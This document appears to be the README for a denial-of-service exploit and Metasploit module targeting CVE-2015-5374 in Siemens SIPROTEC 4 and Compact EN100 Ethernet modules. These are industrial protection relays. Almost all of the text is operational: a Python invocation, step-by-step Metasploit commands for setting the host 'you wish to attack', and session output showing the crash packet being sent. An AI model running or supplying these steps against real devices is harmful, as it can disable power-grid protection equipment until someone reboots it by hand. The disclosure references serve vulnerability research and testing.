CVE-2015-5374 Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service

This code sends a specially crafted packet to Port 50000/UDP could cause a denial of service of the affected device. A manual reboot is required to return the device to service. CVE-2015-5374 and a CVSS v2 base score of 7.8 have been assigned to this vulnerability.

can@exploit:~/siprotec_dos_poc$ python Siemens_SIPROTEC_DoS.py <target>
CVE-2015-5374 Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service
Sending packet to <target> ...
Done, say goodbye!

Metasploit Module

This module sends a specially crafted packet to Port 50000/UDP could cause a denial of service of the affected device. A manual reboot is required to return the device to service.

Verification Steps

1. Do: use auxiliary/dos/scada/siemens_siprotec4
2. Do: set RHOST [Target IP], replacing [Target IP] with the IP address you wish to attack.
3. Do: run
4. If the Siemens SIPROTEC 4 or Compact device has one of the vulnerable versions, it will immediately crash.

Options

set RHOST [Target IP], set RPORT [Target Port (Default 50000)].

Scenarios

msf auxiliary(siemens_siprotec4) > info

     Name: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < V4.25 - Denial of Service 
   Module: auxiliary/dos/scada/siemens_siprotec4
  License: Metasploit Framework License (BSD)
     Rank: Normal

Provided by:
M. Can Kurnaz

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
RHOST                   yes       The target address
RPORT  50000            yes       The target port (UDP)

Description:
This module sends a specially crafted packet to port 50000/UDP 
causing a denial of service of the affected (Siemens SIPROTEC 4 and 
SIPROTEC Compact) devices. A manual reboot is required to return the 
device to service. CVE-2015-5374 and a CVSS v2 base score of 7.8 
have been assigned to this vulnerability.

References:
https://www.exploit-db.com/exploits/44103/
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01

msf auxiliary(siemens_siprotec4) > show options 

Module options (auxiliary/dos/scada/siemens_siprotec4):

 Name   Current Setting  Required  Description
 ----   ---------------  --------  -----------
 RHOST                   yes       The target address
 RPORT  50000            yes       The target port (UDP)

msf auxiliary(siemens_siprotec4) > set rhost 192.168.1.61
rhost => 192.168.1.61
msf auxiliary(siemens_siprotec4) > run

[*] Sending DoS packet ... 
[*] Auxiliary module execution completed
msf auxiliary(siemens_siprotec4) >